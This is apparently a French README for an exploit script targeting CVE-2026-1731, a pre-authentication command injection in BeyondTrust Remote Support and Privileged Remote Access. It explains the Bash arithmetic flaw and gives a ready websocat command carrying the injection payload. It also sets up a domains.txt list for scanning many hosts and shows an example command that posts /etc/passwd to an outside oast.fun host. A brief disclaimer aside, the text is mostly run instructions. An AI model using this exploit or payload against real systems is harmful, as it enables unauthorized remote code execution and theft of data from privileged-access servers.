
CVE-2026-1731 - Vulnérabilité critique d'injection de commandes dans BeyondTrust Remote Support et Privileged Remote Access due à une évaluation arithmétique Bash non sécurisée dans un script accessible via WebSocket.
[!WARNING] Ce script est destiné uniquement à des fins éducatives et de recherche. Ne l'utilisez pas contre des systèmes sans autorisation explicite. L'accès ou les tests non autorisés sont illégaux et contraires à l'éthique. Lisez l'intégralité du DISCLAIMER avant d'utiliser ce script.
Ce script démontre une vulnérabilité critique d'injection de commande (CVE-2026-1731) affectant BeyondTrust Remote Support (RS) et Privileged Remote Access (PRA). Le problème provient du même point de terminaison accessible via WebSocket impliqué dans la précédente CVE-2024-12356, très médiatisée, ce qui en fait une variante étroitement liée.
La vulnérabilité existe parce que le script thin-scc-wrapper du serveur effectue des comparaisons arithmétiques sur des entrées contrôlées par l'attaquant, plus précisément la valeur remoteVersion envoyée lors de la poignée de main WebSocket. Bash traite les opérandes des comparaisons numériques comme des expressions, et non comme de simples chaînes, ce qui permet à des payloads conçus comme a[$(cmd)]0 de déclencher une exécution arbitraire de commandes lors de l'évaluation.
Même si BeyondTrust a ajouté un contrôle de cohérence numérique dans ce cycle de correctifs, cela n'empêche pas Bash d'effectuer l'évaluation d'expressions par la suite, laissant le point de terminaison exploitable. Les attaquants peuvent obtenir une exécution de code simplement en ouvrant une connexion WebSocket et en envoyant une valeur de version malveillante avant l'authentification.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(Placez-le dans le même dossier que votre script Python.)
Ou déplacez-le à l'échelle du système :
sudo mv websocat /usr/local/bin/
domains.txt dans le même répertoireAjoutez les URL que vous souhaitez tester :
example1.com
example2.com
example3.com
Modifiez la ligne suivante dans le script pour configurer la commande que vous souhaitez que l'exploit WebSocket exécute :
CMD = "YOUR-COMMAND-HERE"
Par exemple :
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
Une fois la commande définie, exécutez le script :
python3 exploit.py
Ou rendez-le exécutable puis exécutez-le directement :
chmod +x exploit.py
./exploit.py

